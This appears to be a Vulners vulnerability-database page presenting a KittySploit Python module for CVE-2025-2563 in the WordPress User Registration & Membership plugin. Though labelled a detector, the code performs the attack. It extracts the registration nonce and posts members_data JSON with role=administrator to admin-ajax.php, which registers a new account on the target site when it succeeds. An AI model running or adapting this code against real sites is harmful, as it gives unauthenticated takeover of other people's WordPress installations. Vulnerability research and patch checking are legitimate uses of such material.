Lucene search
+L

User Registration CVE-2025-2563 detect

🗓️ 09 Nov 2026 07:42:09Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 6 Views

User Registration plugin role injection via role=administrator in members_data JSON.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2025-2563
18 Apr 202609:34
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-2563
20 Apr 202601:51
–githubexploit
circl
Circl
CVE-2025-2563
27 Mar 202504:24
–circl
cnnvd
CNNVD
WordPress plugin User Registration & Membership has a security vulnerability
14 Apr 202500:00
–cnnvd
cve
CVE
CVE-2025-2563
14 Apr 202506:00
–cve
cvelist
Cvelist
CVE-2025-2563 User Registration & Membership < 4.1.2- Unauthenticated Privilege Escalation
14 Apr 202506:00
–cvelist
exploitdb
Exploit DB
WordPress User Registration & Membership Plugin 4.1.1 - Unauthenticated Privilege Escalation
8 Apr 202500:00
–exploitdb
kitploit
Kitploit
CVE-2025-2563-POC
7 Nov 202618:36
–kitploit
kitploit
Kitploit
CVE-2025-2563
8 Nov 202600:06
–kitploit
kitploit
Kitploit
CVE-2025-2563
31 Oct 202616:54
–kitploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""User Registration & Membership <= 4.1.1 role injection (CVE-2025-2563)."""

import json
import re
import secrets
from datetime import date

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress

_PLUGIN = "user-registration"
_VULN_HIGH = (4, 1, 1)


class Module(Scanner, Http_client, Wordpress):
    __info__ = {
        "name": "User Registration CVE-2025-2563 detect",
        "description": (
            "Detects CVE-2025-2563 (<= 4.1.1): user_registration_membership_register_member "
            "accepts role=administrator in members_data JSON."
        ),
        "author": ["KittySploit Team"],
        "severity": "critical",
        "cve": "CVE-2025-2563",
        "references": ["https://nvd.nist.gov/vuln/detail/CVE-2025-2563"],
        "modules": ["auxiliary/admin/http/user_registration_cve_2025_2563_privesc"],
        "tags": ["web", "scanner", "wordpress", "user-registration", "cve-2025-2563"],
        "agent": {
            "risk": "active",
            "approval_required": True,
            "produces": ["risk_signals"],
            "chain": {
                "suggested_followups": ["auxiliary/admin/http/user_registration_cve_2025_2563_privesc"],
            },
        },
    }

    base_path = OptString("/", "WordPress base path", required=False)
    registration_path = OptString("/membership-registration/", "Membership registration page", required=False)

    def _base(self) -> str:
        return self.wp_normalize_base_path(self.base_path or "/")

    def _join(self, suffix: str) -> str:
        root = self._base()
        if not suffix.startswith("/"):
            suffix = "/" + suffix
        return f"{root}{suffix}" if root != "/" else suffix

    def run(self):
        version = self.wp_plugin_version(_PLUGIN, self._base()) or ""
        if version and not self.wp_version_in_range(version, (0, 0, 0), _VULN_HIGH):
            return False
        page = self.http_request(
            method="GET",
            path=self._join((self.registration_path or "/membership-registration/").strip()),
            allow_redirects=True,
        )
        if not page or page.status_code != 200:
            return False
        body = page.text or ""
        loc = re.search(r'ur_membership_frontend_localized_data = \{"_nonce":"([^"]+)"', body)
        if not loc:
            return False
        user = f"ks{secrets.token_hex(3)}"
        members = json.dumps(
            {
                "membership": "1",
                "payment_method": "free",
                "start_date": date.today().isoformat(),
                "username": user,
                "role": "administrator",
            },
            separators=(",", ":"),
        )
        post = self.http_request(
            method="POST",
            path=self._join("/wp-admin/admin-ajax.php"),
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            data={
                "action": "user_registration_membership_register_member",
                "security": loc.group(1),
                "members_data": members,
            },
            allow_redirects=False,
        )
        if not post or post.status_code != 200:
            return False
        text = post.text or ""
        if "New member has been successfully created" in text and '"success":true' in text.replace(" ", ""):
            self.set_info(
                severity="critical",
                reason="CVE-2025-2563 — administrator role accepted in members_data",
                path="/wp-admin/admin-ajax.php",
                cve="CVE-2025-2563",
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Nov 2026 07:42Current
8.3High risk
Vulners AI Score8.3
CVSS 3.18.1
EPSS0.49084
SSVC
6